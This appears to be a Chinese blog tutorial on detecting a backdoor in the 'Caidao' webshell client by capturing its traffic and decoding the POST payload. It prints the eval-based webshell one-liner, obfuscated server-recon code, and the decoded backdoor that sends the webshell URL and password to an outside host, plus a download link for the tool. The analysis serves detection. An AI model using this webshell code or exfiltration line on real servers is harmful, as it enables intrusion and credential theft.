如何分辨菜刀是否带后门

这几天gooddog火了，因为他在最新的菜刀中添加了后门，遭到各种大牛的人肉搜索（参考：黑吃黑到底是谁吃谁 – 冒用身份也敢这么叼）。不过送这次事件中学到了很多信息，如如何判断菜刀是否带后门，现详细整理如下：

菜刀下载地址：http://pan.baidu.com/s/1o62kGrC

根据网上大牛的分析，找到两种使用不同工具的方法：

使用WSExplorer工具抓包
使用Fiddler和proxifier

方法一、使用WSExplorer

WSExplorer工具下载地址：http://pan.baidu.com/share/link?shareid=414172&uk=536890509&fid=3284082701。

1、打开下载的菜刀，随便添加一个shell（不一定要存在）。添加后先不要访问。

2、打开WSExplorer，找到菜刀进程，双击进入

3、菜刀中访问添加的shell，查看WSexplorer抓的包

可以看到WSexplorer总共抓到了四个包，其中第二个包为菜刀发送请求的头部信息，第三个为菜刀发送请求的POST数据信息

4、将第三个数据包的数据拷贝出来，如下：

2=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%29%29%3B&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7

可以看到数据经过url编码了，进行url编码后为：

2=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7

要理解上面这段代码的意思，需要明白上传的一句话是：<?php eval ($_POST[2]); ?>。结合上面POST数据，可以看出在目标站点上通过eval执行了一下代码：

$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7

其中，strrev()函数是PHP中用于反转字符串的函数，所以$_=base64_decode ,则后面为：@eval(base64_decode(zo))

5、将变量z0进行base64解码

即：

@eval(base64_decode('aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSgkX1BPU1QpKTt9'));@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

上述代码中仍有base64_decode()，继续进行base64解码

即

if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.api.com.de/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&Pass='.key($_POST));}

可以看到其中存在后门，即@file(‘http://www.api.com.de/Api.php?Url=’.$_SERVER[‘HTTP_HOST’].$_SERVER[‘REQUEST_URI’].’&Pass=’.key($_POST))，改代码将webshell信息发送出去了。此处与其他大牛分析出的地址不一样，估计是gooddog被爆后修改了程序。